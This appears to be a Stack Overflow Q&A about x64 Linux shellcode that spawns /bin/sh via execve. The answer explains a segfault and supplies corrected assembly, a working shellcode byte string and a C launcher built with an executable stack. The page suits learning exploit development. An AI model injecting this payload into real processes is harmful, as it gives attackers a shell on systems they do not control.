Search code examples
cgccassemblynasmshellcode

Assembly works, but shellcode does not


I have a x64 processor and I'm looking into shellcode.
I have the following code:

section .text
  global _start

_start:
   push rax
   mov rbx, 0x68732f6e69622f2f
   shr rbx, 0x8
   push rbx
   mov rdi, rsp
   ;mov rdi, com

   mov al, 59
   syscall

When compiled with the foolowing command:

nasm -g -f elf64 execve.asm  

And linked with:

ld execve.o -o execve

It runs fine. It opens a shell. If i get the shellcode from it:

"\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

And use this C program:

int main(void)
{
    const char shellcode[] = "\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05";

    (*(void (*)()) shellcode)();

    return 0;

} Compile it:

gcc -fno-stack-protector -z execstack -o ex2 ex.c

If run it returns a segmentation fault, but it should execute a shell. Why? Help is appreciated!


Solution

  • Your standalone assembly depends on registers rsi and rdx being zeroed. (As you can see from http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ sys_execve takes three arguments through registers rdi, rsi, and rdx, and Linux will also accept it if rdi is a correct filename and rsi and rdx are zero).

    This may be the case when the program starts, but it's not when you run the instructions from within the middle of a program.

    Consequently if rsi, and rdx have garbage in them, the syscall will fail and the instruction stream will continue executing the garbage bytes it'll find after the syscall instruction, eventually leading to a crash (this is indeed, what's happening in your case, as you can see if you run the program through gdb)

    The simplest way to make the syscall succeed is by zeroing out 2nd and the third argument:

    section .text
      global _start
    
    _start:
       xor rax, rax
       xor rsi, rsi ; zero 2nd argument
       xor rdx, rdx ; zero 3rd argument
       push rax
       mov rbx, 0x68732f6e69622f2f
       shr rbx, 0x8
       push rbx
       mov rdi, rsp
    
       mov al, 59
       syscall
    

    Corresponding C code:

    int main(void)
    {
     char shellcode[] =
    
    "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
    ;
        ((void (*)()) shellcode)();
        return 0;
    }